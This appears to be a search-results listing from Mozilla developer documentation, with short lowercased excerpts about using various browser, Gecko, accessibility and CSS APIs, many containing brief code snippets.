...to get sharper images on these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using css or viewport properties.
Using JSS
MozillaProjectsNSSJSSUsing JSS
using jss newsgroup: mozilla.dev.tech.crypto if you have already built jss, or if you are planning to use a binary release of jss, here's how to get jss working with your code.
...you need to select the right version of the components, based on the version of jss you are using.
Using the Places favicon service
getting favicon images you can use favicons in the browser ui using special annotation uris.
...these annotation uris are described in more detail in using the places annotation service.
Using the Places keywords API
using the places keywords api the places keywords api allows to assign a keyword to an url.
... using the keywords api the keywords api is a promise-based api available through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); setting a keyword for an url the insert() method accepts a keyword entry object describing the keyword to insert.
Using IndexedDB in chrome
(see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
...ties": ["indexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
Using nsCOMPtr
after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the reference manual or the faq.
... contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
Using nsIPasswordManager
zachlipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x.
... for similar functionality in toolkit 1.9, see using nsiloginmanager.
Using nsISimpleEnumerator
using nsisimpleenumerator <stringbundle>.strings var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key + '...
... = ' + property.value + ';\n'; } alert(s); links code based on using_nsipasswordmanager nsisimpleenumerator xul:property:strings ...
Using the clipboard
tell the clipboard object to copy the data using the transferring object.
...here, the length is multiplied by two because we are using a unicode string which requires two bytes per character.
Using tab-modal prompts
using tab-modal prompts from chrome code currently, nsiprompt defaults to using window-modal prompts.
... you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
Using C struct and pointers
ke this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype object that represents the c struct named st_t.
... using c strings with js-ctypes a pointer to char in javascript is declared as follows: var str = ctypes.pointertype(ctypes.char); now imagine you call a c function that returns a c string and you want to modify the contents of this string.
Declaring and Using Callbacks
prerequiste understanding abi functiontype declaring callbacks a callback is declared by using ctypes.functiontype.
... var myfunctypedeclaration = ctypes.functiontype(ctypes.default_abi, ctypes.void_t, []); function myjscallback() { return undefined; // as the return of the functiontype was ctypes.void_t we must return undefined or dont return at all otherwise js-ctypes will throw an error saying unexpected type } var myccallback = myfunctypedeclaration.ptr(myjscallback); using callbacks since callbacks are function pointers in c, js-ctypes has special handling for function pointer types.
Using the Debugger map scopes feature - Firefox Developer Tools
open the example page and then open the debugger using tools > web developer > debugger (or press ctrl + i and then select the debugger).
... using this feature is expensive in terms of resources, but it certainly makes your life easier when you have to debug source code that has been packaged webpack or a similar tool.
Using the Beacon API - Web APIs
in the following example, a worker sends a beacon using the url and data from the global context.
... this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the worker (worker-using.js): onmessage = function(event) { var msg = event.data; // split the url and data from the message var url = msg[0]; var data = msg[1]; // if the browser supports worker sendbeacon(), then send the beacon; otherwise // return failure messag...
Using the Payment Request API - Web APIs
the basics of making a payment this section details the basics of using the payment request api to make a payment.
... creating a new payment request object a payment request always starts with the creation of a new paymentrequest object — using the paymentrequest() constructor.
Using Pointer Events - Web APIs
another difference is that because pointer events are pointer device agnostic, the application accepts coordinate-based inputs from a mouse, a pen, or a fingertip using the same code.
...we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.
Using the Resource Timing API - Web APIs
timing resource loading phases the following example illustrates using the resource timing properties to calculate the amount of time the following phases take: redirection (redirectstart and redirectend ), dns lookup (domainlookupstart and domainlookupend), tcp handshake (connectstart and connectend), and response (responsestart and responseend).
... the following example demonstrates using these three properties.
Improving compatibility using WebRTC adapter.js - Web APIs
using adapter.js in order to use adapter.js, you need to include adapter.js on any page that uses webrtc apis: download a copy of the latest version of adapter.js from github.
... include adapter.js in your project: <script src="adapter.js"></script> write your code, using webrtc apis per the specification, knowing that your code should work on all browsers.
Using the Web Audio API - Web APIs
we'll expose the song on the page using an <audio> element.
...this can be done using a gainnode, which represents how big our sound wave is.
Using the aria-hidden attribute - Accessibility
using aria-hidden="false" will not re-expose the element to assistive technology if any of its parents specify aria-hidden="true".
... specifications see also using the presentation role role="none" ...
Using the log role - Accessibility
fire an accessible log event using the operating system's accessibility api if it supports it.
... <div id="chatarea" role="log"> <ul id="chatregion" aria-live="polite" aria-atomic="false"> <li>please choose a user name to begin using ajax chat.</li> </ul> <ul id="userlistregion" aria-live="off" aria-relevant="additions removals text"> </ul> </div> working examples: http://websiteaccessibility.donaldevans.com/2011/07/12/aria-log/ notes using the log role on an element implies that element has aria-live="polite".
Using the progressbar role - Accessibility
if the actual value of the progressbar can be determined, the developer has to indicate this progress using the aria-valuenow, aria-valuemin, and aria-valuemax attributes.
... examples example 1: basic progressbar with percentage values <div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">20 %</div> example 2: using aria-valuetext <div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="step 2: copying files...
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
for example, the url http://developer.mozilla.org/en/docs/using_the_:target_selector#example contains the fragment identifier #example.
...this is done using the same identifying value that is found in the uri.
Using CSS transforms - CSS: Cascading Style Sheets
this guide provides an introduction to using transforms.
... css transforms are implemented using a set of css properties that let you apply affine linear transformations to html elements.
Using HTML sections and outlines - Developer guides
using html5 elements in non-html5 browsers sections and headings elements can be made to work in most non-html5 browsers with a couple of extra steps, and in this section we'll show you how.
... if a significant percentage of your particular target audience is using internet explorer 8 or older, then you can follow the below instructions to make them behave as expected.
Using dns-prefetch - Web Performance
best practices there are 3 main things to keep in mind: for one, dns-prefetch is only effective for dns lookups on cross-origin domains, so avoid using it to point to your site or domain.
... second, it’s also possible to specify dns-prefetch (and other resources hints) as an http header by using the http link field: link: <https://fonts.gstatic.com/>; rel=dns-prefetch third, consider pairing dns-prefetch with the preconnect hint.
Using XPCOM without chrome - Archive of obsolete content
using sdk xpcom with the low-level module sdk/platform/xpcom , it's possible to exclude chrome and xpcomutils in some cases.
Using third-party modules (jpm) - Archive of obsolete content
it will contain a single directory "addon-pathfinder", and the modules included in this package will be somewhere in that directory: my-menuitem index.js node_modules menuitem package.json test we're interested in using the "menuitem" module, which is at "addon-pathfinder/lib/ui/menuitem".
Using Multiple Queries to Generate More Results - Archive of obsolete content
multiple queries with xml sources you can also use more than query when using an xml source.
Using the standard theme - Archive of obsolete content
<tt>xml-stylesheet</tt> processing instructions simply add one <tt>xml-stylesheet</tt> processing instruction for every style sheet you want to associate with your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> <tt>@import</tt> chains first, import the global skin in your custom style sheet using the css <tt>@import</tt> rule: @import url("chrome://global/skin/"); you then have to associate your xul file with your custom style sheet only: <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> applying different custom style sheets depending on the selected theme mozilla is able to automatically pick your custom style sheet depending on the theme currently chose...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
the solution is to use the bsmedberg stub, described in using dependent libraries in extension components: the component library is just a loader of the real library and all its dependencies, so as all the needed libraries are loaded.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
xulrunner 1.8.* - using an old xulrunner is certainly an option but brings up a host of speed, stability and memory issues.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
you can use the ability to quickly analyze and inspect a page that firebug and jquery affords you, using the results to build a greasemonkey script, instead of a simple bookmarklet.
Using Web Standards in your Web Pages - Archive of obsolete content
contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content...
Using workers in extensions - Archive of obsolete content
when the result is received from xmlhttprequest, instead of immediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method.
Using JavaScript Generators in Firefox - Archive of obsolete content
generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later.
Correctly Using Titles With External Stylesheets - Archive of obsolete content
external stylesheets are often associated with html documents using the <link rel="stylesheeet"> element, but it is important to use the element's title attribute properly.
Using the DOM File API in chrome code - Extensions
in bootstrap scope, this must be imported in like so: cu.importglobalproperties( [ "file" ] ) accessing a file by hard-coded pathname to reference a file by its path, you can simply use a string literal: var file = file.createfromfilename("path/to/some/file"); cross platform note: however using hard-coded paths raises cross platform issues since it uses a platform-dependent path separator (here "/").
Programs Using NSPR
the following programs are known to use nspr, or portions of it: gecko using programs (mozilla application suite, firefox, thunderbird, camino, etc.) many fedora/red hat and sun server applications.
Using the Places annotation service
see using the places favicon service for more information.
Using the Places tagging service
initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a url with the given set of tags.
Using the Gecko SDK
this guide explains how to build xpcom components in c++ using the gecko sdk.
Using Mozilla code in other projects
using mozilla components spidermonkey spidermonkey is the javascript runtime engine used by mozilla projects.
Using popup notifications
creating a popup notification popup notifications can be created using the popupnotifications.jsm javascript code module.
Manipulating video using canvas - Web APIs
this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code.
Using the Frame Timing API - Web APIs
first, perhaps using the tools will save you is a bit too strong but performance tools can certainly help identify code that is not conformant to some expected time threshold.
Using the Media Capabilities API - Web APIs
the mediacapabilities interface the mediacapabilities is available using the mediacapabilities property which is provided by both the navigator object and the workernavigator object; in other words, the media capabilities api is available both on the main thread and from workers.
Using Navigation Timing - Web APIs
collecting timing information using the api is as simple as obtaining the performance object using window.performance and looking up what you need within the object returned.
Using the Performance API - Web APIs
high precision timing high precision timing is achieved by using the domhighrestimestamp type for time values.
Using WebGL extensions - Web APIs
mpressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context enabling an extension before an extension can be used it has to be enabled using webglrenderingcontext.getextension().
Using XMLHttpRequest in IE6 - Web APIs
in all modern browsers, you can create a new xmlhttprequest object using the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
Using the aria-activedescendant attribute - Accessibility
this active child using the aria-activedescendant property must always be visible on screen and must be a descendant of the container in the document object model.
Using the aria-describedby attribute - Accessibility
used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-describedby ...
Using the aria-invalid attribute - Accessibility
used in aria roles all elements of the base markup related aria techniques using the aria-required attribute using the alert role compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-invalid property wai authoring practices for forms ...
Using the aria-label attribute - Accessibility
used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-label ...
Using the aria-required attribute - Accessibility
> <input id="lastname" type="text" aria-required="true" /> <br/> <label for="streetaddress">street address:</label> <input id="streetaddress" type="text" /> </form> working examples: tooltip example (includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the presentation role - Accessibility
presentation"> <a role="tab" href="#">tab 1</a> </li> <li role="presentation"> <a role="tab" href="#">tab 2</a> </li> <li role="presentation"> <a role="tab" href="#">tab 3</a> </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources using aria - 2.9 use of role=presentation or role=none: https://www.w3.org/tr/using-aria/#presentation ...
Using the status role - Accessibility
fire an accessible status event using the operating system's accessibility api if it supports it.
Using URL values for the cursor property - CSS: Cascading Style Sheets
url values as cursors are supported in windows, os/2, and linux (when using gtk+ 2.4 or better) releases of mozilla.
Using z-index - CSS: Cascading Style Sheets
in the following example, the layers' stacking order is rearranged using z-index.
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values.
Using audio and video in HTML - Web media technologies
we don't have a particularly good guide to using these objects offscreen at this time, although audio and video manipulation may be a good start.
Index - Web APIs
WebAPIIndex
using abortcontroller.abort().
... 42 aescbcparams api, aescbcparams, dictionary, reference, web crypto api the aescbcparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-cbc algorithm.
... 43 aesctrparams api, aesctrparams, dictionary, reference, web crypto api the aesctrparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-ctr algorithm.
...And 235 more matches
Index - Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers.
... 2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... 15 communicating using "port" to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
...And 150 more matches
Index
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
...the public keys that are exchanged between parties are transported using a container; the container is called a certificate, following standard x.509 version 3.
... because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using.
...And 68 more matches
Index
MozillaTechXPCOMIndex
2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs.
...here is how to make the same component in python using pyxpcom.
... 11 how to build a binary xpcom component using visual studio add-ons, extensions, xpcom this is a simple tutorial for building xpcom objects in c++ using visual studio.
...And 65 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
422 deprecated and defunct markup reference, xul {many elements on this page are wrongly marked as deprecated, this page needs review} 423 dynamically modifying xul-based user interface add-ons, dom, extensions, xul this article discusses manipulating xul interfaces, using dom and other apis.
... it explains the concept of dom documents, demonstrates a few simple examples of using dom calls to perform basic manipulations on a document, and then demonstrates working with anonymous xbl content using mozilla-specific methods.
... 434 how to quit a xul application xul, xulrunner script can attempt to quit a xul application, or force the application to quit, using the nsiappstartup interface.
...And 46 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
there are earlier experiments going back a long way in developing user interfaces using a combination of html and scripting languages, and xul could be considered an evolutionary step from that.
...again, since xul is a type of xml, stylesheets are read in using the xml-stylesheet processing instruction.
... the xul box model in principle, xul lays out all ui components using combinations of two kinds of boxes: horizontal and vertical.
...And 37 more matches
Accessibility documentation index - Accessibility
where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect.
...a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets.
... 7 aria live regions aria, accessibility, arialive using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
...And 36 more matches
Index - Learn web development
this article provides a basic guide to publishing content using github's gh-pages feature.
...in this article we'll discuss how to do that, using various available options such as sftp clients, rsync and github.
... beginner, browser, css, codingscripting, dev tools, html, javascript, learn the devtools live inside your browser in a subwindow that looks roughly like this, depending on what browser you are using: 26 what are hyperlinks?
...And 33 more matches
Handling common accessibility problems - Learn web development
when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
...really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers.
... html semantic html (where the elements are used for their correct purpose) is accessible right out of the box — such content is readable by sighted viewers (provided you don't do anything silly like make the text way too small or hide it using css), but will also be usable by assistive technologies like screen readers (apps that literally read out a web page to their user), and confer other advantages too.
...And 28 more matches
Drawing graphics - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript.
... add the following code into it, just below the opening <body> tag: <canvas class="mycanvas"> <p>add suitable fallback here.</p> </canvas> we have added a class to the <canvas> element so it will be easier to select if we have multiple canvases on the page, but we have removed the width and height attributes for now (you could add them back in if you wanted, but we will set them using javascript in a below section).
... note: you should generally set the size of the image using html attributes or dom properties, as explained above.
...And 27 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
3 applying color to html elements using css beginner, css, css colors, guide, html, html colors, html styles, styling html, color with css, there are lots of ways to add color to your html elements to create just the look you want.
... 16 dropzone deprecated, global attributes, html, reference the dropzone global attribute is an enumerated attribute indicating what types of content can be dropped on an element, using the html drag and drop api.
...its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css).
...And 27 more matches
Setting up your own test automation environment - Learn web development
previous overview: cross browser testing in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
...most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
... we will cover writing and running selenium tests using node.js, as it is quick and easy to get started, and a more familiar environment for front end devs.
...And 26 more matches
CSSPrimitiveValue - Web APIs
the value can be obtained by using the getstringvalue() method.
...the value can be obtained by using the getfloatvalue() method.
...the value can be obtained by using the getcountervalue() method.
...And 26 more matches
Introduction to automated testing - Learn web development
commercial cross-browser testing apps like lambdatest, sauce labs, browserstack, and testingbot are based on selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system.
... using a task runner to automate testing tools as we said above, you can drastically speed up common tasks such as linting and minifying code by using a task runner to run everything you need to run automatically at a certain point in your build process.
... to start using node/npm-based packages on your projects, you need to set up your project directories as npm projects.
...And 25 more matches
Handling common JavaScript problems - Learn web development
this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more.
...1990s, the main browser choices back then (internet explorer and netscape) had scripting implemented in different language flavours (netscape had javascript, ie had jscript and also offered vbscript as an option), and while at least javascript and jscript were compatible to some degree (both based on the ecmascript specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares.
...jquery (or whatever library you are using) will then handle the differences in the background, so you don't have to.
...And 24 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
14 ajax ajax, codingscripting, glossary, infrastructure, l10n:priority ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
...a ciphertext's security, and therefore the secrecy of the contained information, depends on using a secure cipher and keeping the key secret.
...its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
...And 23 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... this means using the correct html elements for their intended purpose as much as possible.
...n your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter.
...And 23 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... this means using the correct html elements for their intended purpose as much as possible.
...n your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter.
...And 23 more matches
Client-side storage - Learn web development
most major modern web sites are dynamic — they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting html to the client to be displayed by the user's browser.
... note: there are limits to the amount of data you can store using client-side storage apis (possibly both per individual api and cumulatively); the exact limit varies depending on the browser and possibly based on user settings.
...for more information on cookies see our using http cookies article.
...And 23 more matches
JSAPI User Guide
these programs can execute javascript code from c++ using the spidermonkey api.
... note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi.
... hello world using the spidermonkey library to build spidermonkey from source, see spidermonkey build documentation.
...And 23 more matches
CSSPrimitiveValue.primitiveType - Web APIs
the value can be obtained by using the getstringvalue() method.
...the value can be obtained by using the getfloatvalue() method.
...the value can be obtained by using the getcountervalue() method.
...And 23 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
rt for new clients: var elm = getelmbyid("myid"); function getelmbyid(aid){ var element = null; if (ismozilla || isie5) element = document.getelementbyid(aid); else if (isnetscape4) element = document.layers[aid]; else if (isie4) element = document.all[aid]; return element; } the above code still has the issue of browser sniffing, or detecting which browser the user is using.
... browser sniffing is usually done through the useragent, such as: mozilla/5.0 (x11; u; linux i686; en-us; rv:1.5) gecko/20031016 while using the useragent to sniff the browser provides detailed information on the browser in use, code that handles useragents often can make mistakes when new browser versions arrive, thus requiring code changes.
... tooltips legacy browsers introduced tooltips into html by showing them on links and using the value of the alt attribute as a tooltip's content.
...And 22 more matches
Index
in this case, the application can still convert i to a jsval using js_newnumbervalue.
... 76 js::toprimitive jsapi reference, spidermonkey js::toprimitive converts a javascript object, obj, to a primitive value using ecmascript 6 toprimitive.
...its value is the logical or of zero or more of the following constants: 93 jsconstdoublespec jsapi reference, spidermonkey jsconstdoublespecs is used to define a set of double values that are assigned as properties to an object using js_defineconstdoubles.
...And 22 more matches
Index - Firefox Developer Tools
the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
... 9 introduction to dom inspector dom_inspector the dom inspector is a mozilla extension that you can access from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application.
... 12 debugging service workers application, devtools, firefox, guide, service workers in this article we will look at debugging service workers using the firefox devtools application panel.
...And 22 more matches
Introducing a complete toolchain - Learn web development
for our sample project, we'll be using a toolchain specifically designed to aid our software development and support the technical choices made during the software design phase.
...however, this project has only 4 svg images, which were manually minified using svgo before adding them to the project.
...in this case study we'll look at adding tests to your code, and deploying your app using netlify so it is available for all the web to see.
...And 21 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
as much as possible, standard cinematographic techniques are used, since the viewer has likely grown up watching films using those techniques, and has subconscious expectations that a film or animation will follow those methods.
... when using webgl to accelerate 2d graphics drawing, the camera is typically placed directly above the center of the scene with the distance and field of view set to allow the entire scene to be presented.
...as in all things, the position of an object in space—even if that space if virtual—can be represented using three numbers that indicate its position relative to the origin, whose position is defined to be (0, 0, 0).
...And 21 more matches
HTTP Index - HTTP
WebHTTPIndex
12 browser detection using the user agent compatibility, http, web development serving different web pages or services to different browsers is usually a bad idea.
... the web is meant to be accessible to everyone, regardless of which browser or device they're using.
... 19 cross-origin resource policy (corp) http, reference, security cross-origin resource policy is an opt-in mechanism that allows web applications to protect against certain cross-origin requests, such as those issued by the browser when resources are embedded using elements such as <script> and <img>.
...And 21 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
quick tip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent.
...due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scripting code path.
...server side browser detection using user agent strings was born.
...And 20 more matches
RDF in Mozilla FAQ - Archive of obsolete content
it describes thousands of web sites using a mix of the dublin core metadata vocabulary and the dmoz taxonomy.
...see the sites using odp data pages for some directories based on the odp rdf dumps.
... in mozilla, datasources can be composed together using the composite data source.
...And 20 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding.
... repl to code along with us using the repl, start at https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 working on the moreactions component now we'll tackle the check all and remove completed buttons.
... another solution is to assign a new array to todos containing a copy of all the todos with the completed property updated accordingly, like this: const checkalltodos = (completed) => { todos = todos.map(t => { // shorter version: todos = todos.map(t => ({...t, completed})) return {...t, completed: completed} }) } in this case we are using the map() method, which returns a new array with the results of executing the provided function for each item.
...And 20 more matches
Command line crash course - Learn web development
on the surface they’re far from welcoming but there’s a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get easier!
...if you updated the file names using your finder or explorer gui app, it would take you a long time.
... many developers today are using unix-based tools (e.g.
...And 20 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
...if not, using a semantic class name is more descriptive and usually better.
... using descendant selectors is good practice for performance when possible: for example: .autocomplete-item[selected] > .autocomplete-item-title would be more efficient than .autocomplete-item[selected] .autocomplete-item-title overriding css before overriding any css rules, check whether overriding is really needed.
...And 20 more matches
Working with windows in chrome code
this is different from the user-visible window title, which is specified using xul.
... you can get a window object from a document using document.defaultview.
...this can be done using the following statement: var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getin...
...And 20 more matches
panel - Archive of obsolete content
its content is specified as html and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascript.
...to do this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... you can specify one or more content scripts to load into a panel using the contentscript or contentscriptfile options to the panel() constructor.
...And 19 more matches
ui/sidebar - Archive of obsolete content
you specify its content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars.
... usage creating, showing, and hiding sidebars you construct a sidebar object using the sidebar() constructor.
... once you've finished using the sidebar you can destroy it by calling its dispose() method.
...And 19 more matches
Mozilla internal string guide
most of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
... iterators because mozilla strings are always a single buffer, iteration over the characters in the string is done using raw pointers: /** * find whether there is a tab character in `data` */ bool hastab(const nsastring& data) { const char16_t* cur = data.beginreading(); const char16_t* end = data.endreading(); for (; cur < end; ++cur) { if (char16_t('\t') == *cur) return true; } return false; } note that `end` points to the character after the end of the string buffer.
... `data` */ void removetabs(nsastring& data) { int len = data.length(); char16_t* cur = data.beginwriting(); char16_t* end = data.endwriting(); while (cur < end) { if (char16_t('\t') == *cur) { len -= 1; end -= 1; if (cur < end) memmove(cur, cur + 1, (end - cur) * sizeof(char16_t)); } else { cur += 1; } } data.setlength(len); } note that using beginwriting() to make a string longer is not ok.
...And 19 more matches
Add to iPhoto
declaring the apis the first thing we have to do is declare the mac os x apis we'll be using.
